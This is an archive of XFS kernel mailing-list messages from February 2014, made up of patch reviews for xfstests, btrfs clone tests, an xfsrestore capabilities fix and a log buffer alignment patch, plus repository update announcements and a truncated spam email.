X-ASG-Orig-Subj: Re: [PATCH] xfstests: initialize "valid" bitmap in randholes.c References: <52F2848B.5070704@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52F2848B.5070704@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1391641364 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144876 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 05, 2014 at 12:35:55PM -0600, Eric Sandeen wrote: > Failures were reported in xfs/008 on s390; dchinner suggested that > perhaps the uninitialized "valid" bitmap was behaving differently on > that platform, and sure enough, this patch fixes things up. > > TBH, I'm not sure why using an uninitialized bitmap worked at > all, ever, anywhere...? It depends on glibc behaviour to whether newly allocated memory is zeroed or not. e.g. for large allocations glibc uses mmap() to directly map anonymous pages for the allocation. These get zeroed by the kernel before being mapped into the user address space. If glibc allocates from the heap and needs to grow it, it uses sbrk() to grow the heap an dthose pages are, again, zeroed by the kernel. However, if the allocation comes from the heap from previously freed memory, then it doesn't get zeroed. I'd say that the 3rd case is occurring here - there's memory that is allocated and freed as part of the program startup that the bitmap is being allocated from, and so it's not newly zeroed pages that it is being allocated from... Regardless of the cause, the fix looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Feb 5 17:09:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 253317F58 for ; Wed, 5 Feb 2014 17:09:46 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id BEB9AAC002 for ; Wed, 5 Feb 2014 15:09:45 -0800 (PST) X-ASG-Debug-ID: 1391641779-04cb6c6de11582a0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id SBBKgvNq10y2KtWz for ; Wed, 05 Feb 2014 15:09:40 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: As0IANbD8lJ5LGaB/2dsb2JhbABZgwyDPrZehVCBCRd0giUBAQU6HCMQCAMOCgklDwUlAyETiATOdxcWjl8HhDgEmCqSIoNBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 06 Feb 2014 09:39:38 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WBBb6-0006WA-IQ; Thu, 06 Feb 2014 10:09:36 +1100 Date: Thu, 6 Feb 2014 10:09:36 +1100 From: Dave Chinner To: David Disseldorp Cc: xfs@oss.sgi.com, dsterba@suse.cz, linux-btrfs@vger.kernel.org Subject: Re: [PATCH 1/2] btrfs: add small program for clone testing Message-ID: <20140205230936.GI13997@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/2] btrfs: add small program for clone testing References: <1391599009-2402-1-git-send-email-ddiss@suse.de> <1391599009-2402-2-git-send-email-ddiss@suse.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391599009-2402-2-git-send-email-ddiss@suse.de> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1391641779 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144876 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 05, 2014 at 12:16:48PM +0100, David Disseldorp wrote: > The cloner program is capable of cloning files using the BTRFS_IOC_CLONE > and BTRFS_IOC_CLONE_RANGE ioctls. > > Signed-off-by: David Disseldorp Hi Dave - long time since I've seen your head pop up around here ;) A few comments below. > +struct btrfs_ioctl_clone_range_args { > + int64_t src_fd; > + uint64_t src_offset; > + uint64_t src_length; > + uint64_t dest_offset; > +}; > + > +#define BTRFS_IOCTL_MAGIC 0x94 > +#define BTRFS_IOC_CLONE _IOW(BTRFS_IOCTL_MAGIC, 9, int) > +#define BTRFS_IOC_CLONE_RANGE _IOW(BTRFS_IOCTL_MAGIC, 13, \ > + struct btrfs_ioctl_clone_range_args) Is there some published header file that these belong to? i.e. somewhere in the include/linux/uapi/ kernel directory? Normally the way to handle this sort of thing is by autoconf - if the header file exists, then we include it, otherwise we use the manual definitions. This just means that if the public api ever changes, we'll pick it up automatically in future... > +int > +main(int argc, char **argv) > +{ > + bool full_file = true; > + uint64_t src_off = 0; > + uint64_t dst_off = 0; > + uint64_t len = 0; > + char *src_file; > + int src_fd; > + char *dst_file; > + int dst_fd; > + int ret; > + int opt; > + > + while ((opt = getopt(argc, argv, "s:d:l:")) != -1) { > + switch (opt) { > + case 's': > + src_off = atoi(optarg); atoi() only returns 32 bit numbers. You probably should use strtoull() as the offset parameters are 64 bit. Cheers, Dave. -- Dave Chinner david@fromorbit.com From bfoster@redhat.com Wed Feb 5 17:13:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E31BA7F54 for ; Wed, 5 Feb 2014 17:13:50 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 67520AC003 for ; Wed, 5 Feb 2014 15:13:50 -0800 (PST) X-ASG-Debug-ID: 1391642028-04cbb00c28152a00001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id w2609HtfsoldjsOx for ; Wed, 05 Feb 2014 15:13:49 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s15NDlev022173 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 5 Feb 2014 18:13:47 -0500 Received: from laptop.bfoster (vpn-58-142.rdu2.redhat.com [10.10.58.142]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s15NDkUj010301 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Wed, 5 Feb 2014 18:13:46 -0500 Message-ID: <52F2C5A9.7060803@redhat.com> Date: Wed, 05 Feb 2014 18:13:45 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH] restore: don't trash file capabilities References: <1391564918-25524-1-git-send-email-david@fromorbit.com> <52F246BF.60302@redhat.com> <20140205215436.GF13997@dastard> X-ASG-Orig-Subj: Re: [PATCH] restore: don't trash file capabilities In-Reply-To: <20140205215436.GF13997@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391642028 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/05/2014 04:54 PM, Dave Chinner wrote: > On Wed, Feb 05, 2014 at 09:12:15AM -0500, Brian Foster wrote: >> On 02/04/2014 08:48 PM, Dave Chinner wrote: >>> From: Dave Chinner >>> >>> xfsrestore fails to restore file capabilities correctly because it >>> sets the owner on the file after it has restored the capability >>> attributes. This results in the kernel stripping the capabilities >>> when changing the owner of the file and hence the restored file is >>> not complete. >>> >>> Fix this by changing the owner of the file when it is created rather >>> than after it has been fully restored. This ensures we don't kill >>> the caps as they are restored after the owner it appropriately set. >>> This fixes the xfs/296 failure. >>> >>> Signed-off-by: Dave Chinner >>> --- >>> restore/content.c | 116 ++++++++++++++++++++++++++++++++++++------------------ >>> 1 file changed, 77 insertions(+), 39 deletions(-) >>> >>> diff --git a/restore/content.c b/restore/content.c >>> index 54d933c..b655ed1 100644 >>> --- a/restore/content.c >>> +++ b/restore/content.c >> ... >>> @@ -7442,6 +7509,12 @@ restore_reg( drive_t *drivep, >>> } >>> } >>> >>> + if (strctxp->sc_ownerset == BOOL_FALSE && persp->a.ownerpr) { >>> + rval = set_file_owner(path, fdp, strctxp); >>> + if (rval) >>> + return BOOL_TRUE; >>> + } >>> + >> >> If this fails (rval == -1), we have unlinked the file and closed the fd >> in set_file_owner(). Why return BOOL_TRUE? I've not gone through and >> learned what dump/restore is doing, but this path looks like it's going >> to continue on with the restore in that scenario. Even if that is what >> we want to happen, it seems inconsistent with failure handling in >> set_file_owner() and the fact that we skip the rest of this function. > > If any of the rest of the operations in this function fail, then it > keeps trying to do more operations and then finally it returns > BOOL_TRUE even after errors have occurred. Because the file has been > unlinked and the fd has been closed, we know all further operations > are going to fail, so we may as well just return immediately. > > And if we follow the caller path back, we get back to > > > applynondirdump > for (;;) { > restore_file > treecb_link > restore_file_cb > restore_reg > if (not ok) > break; > } > > So, returning BOOL_FALSE in the context above results in > tree_cb_link() returning RV_NOT_OK, which results in the stream > processing loop in applynondirdump() being aborted. i.e. returning > an error restoring a file causes the entire dump stream to be > aborted at that point. > > IOWs, the dump image cannot be restored past that point, hence > returning an error of any kind is a bad idea. Mostly complete > restores missing just a file (that were reported on during the > restore) is much, much better than having restore stop half way > through and refusing to go any further. > Ok.. and we nuke the output file anyways if we can't set the owner, so that makes sense. It kind of stinks we continue with the whole dance for this file after this. On the other hand, perhaps there is value in still reading through the source content. Anyways, it looks like it should handle this scenario (aside from probably spewing the additional error messages) but... > The code is convoluted, obtuse and difficult to read. But we're not > going to rewrite it from scratch any time soon so we just have to > live with it's craziness. > ... that about sums it up. ;) >>> - if ( mode != (mode_t)bstatp->bs_mode ) { >>> - rval = fchmod( fd, mode ); >>> - if ( rval ) { >>> - mlog( MLOG_VERBOSE | MLOG_ERROR, >>> - _("unable to strip setuid/setgid " >>> - "on %s, unlinking file.\n"), >>> - path ); >>> - unlink( path ); >>> - } >>> - } >>> - } >>> + if (strcxtp->sc_ownerset == BOOL_FALSE && persp->a.ownerpr) { >>> + rval = set_file_owner(path, &fd, strcxtp); >>> + if (rval) >>> + return BOOL_TRUE; >>> } >> >> Ok, so we handle both set_file_owner() situations because the ordering >> here is really only important for regular files. IIUC, this particular >> block is still required for that non-ifreg case. Though, in the failure >> case, it looks like we're leaking the fd by returning now. > > set_file_owner() closes the fd on error, immediately after unlinking > the file. Hence there is no fd leak in the error path. > Oops, right. Reviewed-by: Brian Foster > And, again, we return BOOL_TRUE because that's what all the other > paths return even on error. And, in fact, none of the callers even > look at the error returned, so it's pretty much irrelevant in this > function. > > Cheers, > > Dave. > From david@fromorbit.com Wed Feb 5 17:15:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D2E907F54 for ; Wed, 5 Feb 2014 17:15:30 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B317A304051 for ; Wed, 5 Feb 2014 15:15:30 -0800 (PST) X-ASG-Debug-ID: 1391642128-04cb6c6de0158650001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id FKwm1ixqXcS5LA2P for ; Wed, 05 Feb 2014 15:15:28 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: As0IANfE8lJ5LGaB/2dsb2JhbABZgwyDPrZehVCBCRd0giUBAQU6HCMQCAMOCgklDwUlAyETiATPEBaOXweEOASYKpIig0Eo Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 06 Feb 2014 09:45:27 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WBBgk-0006X3-Ng; Thu, 06 Feb 2014 10:15:26 +1100 Date: Thu, 6 Feb 2014 10:15:26 +1100 From: Dave Chinner To: David Disseldorp Cc: xfs@oss.sgi.com, dsterba@suse.cz, linux-btrfs@vger.kernel.org Subject: Re: [PATCH 2/2] btrfs/035: add new clone overwrite regression test Message-ID: <20140205231526.GJ13997@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/2] btrfs/035: add new clone overwrite regression test References: <1391599009-2402-1-git-send-email-ddiss@suse.de> <1391599009-2402-3-git-send-email-ddiss@suse.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391599009-2402-3-git-send-email-ddiss@suse.de> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1391642128 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144876 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 05, 2014 at 12:16:49PM +0100, David Disseldorp wrote: > This test uses the newly added cloner binary to dispatch full file and > range specific clone (reflink) requests. A couple of small nits: > +CLONER_PROG=$here/src/cloner Need to test that the binary was build and is present. > + > +src_str="aaaaaaaaaa" > + > +echo -n "$src_str" > $SCRATCH_MNT/src || _fail "failed to create src" No need for the "|| _fail ..." in any part of this test. Failures will be caught in the output and hence cause golden output mismatches. Letting the test run even after a failure exercises the filesystem in interesting ways, so it's worthwhile ignoring failures in the test and letting the harness pick up the failures through error messages. > +$CLONER_PROG $SCRATCH_MNT/src $SCRATCH_MNT/src.clone1 > + > +src_str="bbbbbbbbbbcccccccccc" > + > +echo -n "$src_str" > $SCRATCH_MNT/src || _fail "failed to create src" > + > +$CLONER_PROG $SCRATCH_MNT/src $SCRATCH_MNT/src.clone2 > + > +snap_src_sz=`ls -lah $SCRATCH_MNT/src.clone1 | awk '{print $5}'` > +echo "attempting ioctl (src.clone1 src)" > +$CLONER_PROG -s 0 -d 0 -l ${snap_src_sz} \ > + $SCRATCH_MNT/src.clone1 $SCRATCH_MNT/src || _fail "ioctl failed" And to do that here, you probably need to add perror() output to the cloner program when it detects an error. i.e. let it give you the exact error that was detected, rather than lumping them all into a catchall here... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Feb 5 23:47:45 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 838577F54 for ; Wed, 5 Feb 2014 23:47:45 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 342FAAC003 for ; Wed, 5 Feb 2014 21:47:44 -0800 (PST) X-ASG-Debug-ID: 1391665659-04bdf0121d173f30001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id C2murwOpL3xpNyfB for ; Wed, 05 Feb 2014 21:47:40 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvQPAKAg81J5LGaB/2dsb2JhbABZgww4gwamKQOQPIZWF3SCZhw7JDQFJQM0iASeGbBUFo58hCIEmCqSIoNBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl2.internode.on.net with ESMTP; 06 Feb 2014 16:17:39 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WBHoF-0007Cr-Rk for xfs@oss.sgi.com; Thu, 06 Feb 2014 16:47:35 +1100 Date: Thu, 6 Feb 2014 16:47:35 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [ANNOUNCE] xfstests updated to 9d00bf8 Message-ID: <20140206054735.GK13997@dastard> X-ASG-Orig-Subj: [ANNOUNCE] xfstests updated to 9d00bf8 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1391665659 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144882 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, The xfstests repository at git://oss.sgi.com/xfs/cmds/xfstests has just been updated. Patches often get missed, so please check if your outstanding patches were in this update. If they have not been in this update, please resubmit them to xfs@oss.sgi.com so they can be picked up in the next update. The new head of the master branch is commit: 9d00bf8 xfs/008: initialize "valid" bitmap in randholes.c New Commits: Dave Chinner (2): [6442726] xfs/296: fix golden output [7c9748f] xfs/066: stat the test file, not the directory Eric Sandeen (1): [9d00bf8] xfs/008: initialize "valid" bitmap in randholes.c Code Diffstat: src/randholes.c | 1 + tests/xfs/066 | 6 ++++-- tests/xfs/066.out | 6 ++++-- tests/xfs/296.out | 3 ++- 4 files changed, 11 insertions(+), 5 deletions(-) -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Feb 5 23:53:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CC2AF7F54 for ; Wed, 5 Feb 2014 23:53:53 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B85DC8F8033 for ; Wed, 5 Feb 2014 21:53:53 -0800 (PST) X-ASG-Debug-ID: 1391666031-04cbb00c2815c300001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id GghPxxwNR0Cs3c6g for ; Wed, 05 Feb 2014 21:53:51 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvQPAAkj81J5LGaB/2dsb2JhbABZgww4gwamKQOQPIZWF3SCZhw7JDQFJQM0iASeHLBUFo58hCIEmCqSIoNBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl2.internode.on.net with ESMTP; 06 Feb 2014 16:23:48 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WBHuD-0007Eg-9c for xfs@oss.sgi.com; Thu, 06 Feb 2014 16:53:45 +1100 Date: Thu, 6 Feb 2014 16:53:45 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [ANNOUNCE] xfsdump: master branch updated to a88c490 Message-ID: <20140206055345.GL13997@dastard> X-ASG-Orig-Subj: [ANNOUNCE] xfsdump: master branch updated to a88c490 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1391666031 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144883 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, The xfsdump repository at git://oss.sgi.com/xfs/cmds/xfsdump has just been updated. The new head of the master branch is commit: a88c490 restore: don't trash file capabilities New Commits: Dave Chinner (1): [a88c490] restore: don't trash file capabilities Code Diffstat: restore/content.c | 116 ++++++++++++++++++++++++++++++++++++------------------ 1 file changed, 77 insertions(+), 39 deletions(-) -- Dave Chinner david@fromorbit.com From dave@fromorbit.com Thu Feb 6 00:17:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5686F7F54 for ; Thu, 6 Feb 2014 00:17:31 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 068B2AC004 for ; Wed, 5 Feb 2014 22:17:27 -0800 (PST) X-ASG-Debug-ID: 1391667445-04bdf0121d174b80001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 6hYyQTpZpOHz0Zo1 for ; Wed, 05 Feb 2014 22:17:26 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlEGALAn81J5LGaB/2dsb2JhbABZgwzAfBd0giUBLS87GBhSAzSIBJ4XsFWOCX0MhCIEqkyDQSiBNQ Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl2.internode.on.net with ESMTP; 06 Feb 2014 16:47:25 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WBIH4-0007IB-Ok for xfs@oss.sgi.com; Thu, 06 Feb 2014 17:17:22 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WBIH4-00081j-Nb for xfs@oss.sgi.com; Thu, 06 Feb 2014 17:17:22 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] xfs: ensure correct log item buffer alignment Date: Thu, 6 Feb 2014 17:17:22 +1100 X-ASG-Orig-Subj: [PATCH] xfs: ensure correct log item buffer alignment Message-Id: <1391667442-30822-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1391667445 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144883 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner On 32 bit platforms, the log item vector headers are not 64 bit aligned or sized. hence if we don't take care to align them correctly or pad the buffer appropriately for 8 byte alignment, we can end up with alignment issues when accessing the user buffer directly as a structure. To solve this, simply pad the buffer headers to 64 bit offset so that the data section is always 8 byte aligned. Signed-off-by: Dave Chinner --- fs/xfs/xfs_log_cil.c | 19 +++++++++++++++---- 1 file changed, 15 insertions(+), 4 deletions(-) diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c index cdebd83..4ef6fdb 100644 --- a/fs/xfs/xfs_log_cil.c +++ b/fs/xfs/xfs_log_cil.c @@ -205,16 +205,25 @@ xlog_cil_insert_format_items( /* * We 64-bit align the length of each iovec so that the start * of the next one is naturally aligned. We'll need to - * account for that slack space here. + * account for that slack space here. Then round nbytes up + * to 64-bit alignment so that the initial buffer alignment is + * easy to calculate and verify. */ nbytes += niovecs * sizeof(uint64_t); + nbytes = round_up(nbytes, sizeof(uint64_t)); /* grab the old item if it exists for reservation accounting */ old_lv = lip->li_lv; - /* calc buffer size */ - buf_size = sizeof(struct xfs_log_vec) + nbytes + - niovecs * sizeof(struct xfs_log_iovec); + /* + * The data buffer needs to start 64-bit aligned, so round up + * that space to ensure we can align it appropriately and not + * overrun the buffer. + */ + buf_size = nbytes + + round_up((sizeof(struct xfs_log_vec) + + niovecs * sizeof(struct xfs_log_iovec)), + sizeof(uint64_t)); /* compare to existing item size */ if (lip->li_lv && buf_size <= lip->li_lv->lv_size) { @@ -251,6 +260,8 @@ xlog_cil_insert_format_items( /* The allocated data region lies beyond the iovec region */ lv->lv_buf_len = 0; lv->lv_buf = (char *)lv + buf_size - nbytes; + ASSERT(IS_ALIGNED((unsigned long)lv->lv_buf, sizeof(uint64_t))); + lip->li_ops->iop_format(lip, lv); insert: ASSERT(lv->lv_buf_len <= nbytes); -- 1.8.4.rc3 From SALONESPARACAPACITACION@gmail.com Thu Feb 6 00:28:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM, HTML_IMAGE_RATIO_06,HTML_MESSAGE,UPPERCASE_50_75 autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 11C6F7F54 for ; Thu, 6 Feb 2014 00:28:03 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id E76D6304032 for ; Wed, 5 Feb 2014 22:27:59 -0800 (PST) X-ASG-Debug-ID: 1391668069-04cb6c6de1164100001-NocioJ Received: from tlcex02.thelifeco.com (tlcex02.thelifeco.com [77.79.66.212]) by cuda.sgi.com with SMTP id TIEssKUvQjhuv4e2 for ; Wed, 05 Feb 2014 22:27:50 -0800 (PST) X-Barracuda-Envelope-From: SALONESPARACAPACITACION@GMAIL.COM X-Barracuda-Apparent-Source-IP: 77.79.66.212 Received: from GMAIL.COM (187.162.46.68) by TLCEX02.THELIFECO.COM (77.79.66.212) with Microsoft SMTP Server id 14.0.722.0; Thu, 6 Feb 2014 08:16:18 +0200 From: To: Subject: APOYO A MIPYME; 50% descuento RENTAMOS SALONES; LOS MEJORES PRECIOS: JUNTAS, CAPACITACIONES, CONFERENCIAS, RECLUTAMIENTO, COACHING, 